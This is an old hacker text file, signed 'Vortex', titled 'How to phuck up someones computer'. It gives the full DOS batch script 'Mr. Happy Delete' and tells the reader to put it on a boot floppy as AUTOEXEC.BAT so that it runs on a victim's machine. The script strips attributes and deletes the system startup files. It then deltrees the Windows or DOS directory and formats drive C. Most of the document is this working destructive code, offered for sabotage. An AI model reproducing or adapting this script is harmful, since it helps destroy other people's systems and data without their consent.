How to phuck up someones computer It's called Mr. Happy Delete! It's just a batch file that can you to really mess someone's computer up. All you have to do is create an AUTOEXEC.BAT file for a 3 1/2 inch disk or a 5 1/4 inch disk (but if the computer you want to mess up has a 5 1/4 drive, the computer is probably really old and not worth the trouble.) This particular batch file will delete all start-up files (IO.SYS, C:\AUTOEXEC.BAT, COMMAND.COM MSDOS.SYS), it'll delete C:\DOS if it exists, the Windows directory, and if Windows 95 is under the directory WIN95, then it'll also be deleted. As an added bonus, it can also reformat the hard drive. I don't think I need to tell you not to try this file out on your computer, but since there are morons out there I'll say it any way: DON'T TRY THIS ON YOUR COMPUTER! And just in case someone's stupid to acidentally use the file, it's designed to ask you if you want to proceed to delete start-up files (and Windows and DOS), and it'll ask you twice if you want to format the hard drive. Here's a sample file you might want to use: (NOTE: Unless you know how the CHOICE, GOTO, and ERRORLEVEL commands work, I don't suggest you try to change them. Although you can change the messages after the ECHO statements.) @ECHO OFF CHOICE /C:YN Execute Mr. Happy Delete? If ErrorLevel 2 goto End2 If ErrorLevel 1 goto HeHe :HeHe ECHO One moment please...... @ATTRIB -S -H -R C:\*.* DEL C:\MSDOS.SYS DEL C:\IO.SYS DEL C:\CONFIG.SYS DEL C:\AUTOEXEC.BAT DEL C:\WINDOWS\*.INI DEL C:\WINDOWS\*.GRP if exist c:\windows\winfile.exe GOTO DEL1 if exist c:\win95\winfile.exe GOTO DEL2 if exist c:\dos\command.com GOTO DEL3 :DEL1 DELTREE C:\WINDOWS /Y GOTO END :DEL2 DELTREE C:\WIN95 /Y GOTO END :DEL3 DELTREE C:\DOS /Y GOTO END :END2 ECHO Nothing deleted. goto end3 :END CHOICE /YN Do you want to FORMAT drive c:\? IF ERRORLEVEL 2 GOTO NoFormat IF ERRORLEVEL 1 GOTO FormatDrive :NoFormat @ECHO (The computer's hard drive wasn't formatted.) Goto Cont1 :FormatDrive @ECHO To format drive C, press Y when your asked if you @ECHO really want to format. FORMAT C: @ECHO Drive C has been formated (Unless you pressed N) :Cont1 @ECHO This computer is now officialy screwed. Thanky you for using Mr. Happy ECHO delete! Have a nice day! :end3 In order for this to work, you need to copy the files FORMAT.COM, CHOICE.COM, DELTREE.EXE, ATTRIB.COM, and make sure you save the file described above as AUTOEXEC.BAT saved on the disk that'll make someone very, very unhappy. (NOTE: Just in case anyone's stupid enough to save it in drive C, make sure you save AUTOEXEC.BAT as A:\AUTOEXEC.BAT or B:\AUTOEXEC.BAT) ----------- Vortex w/ credit to Haqr
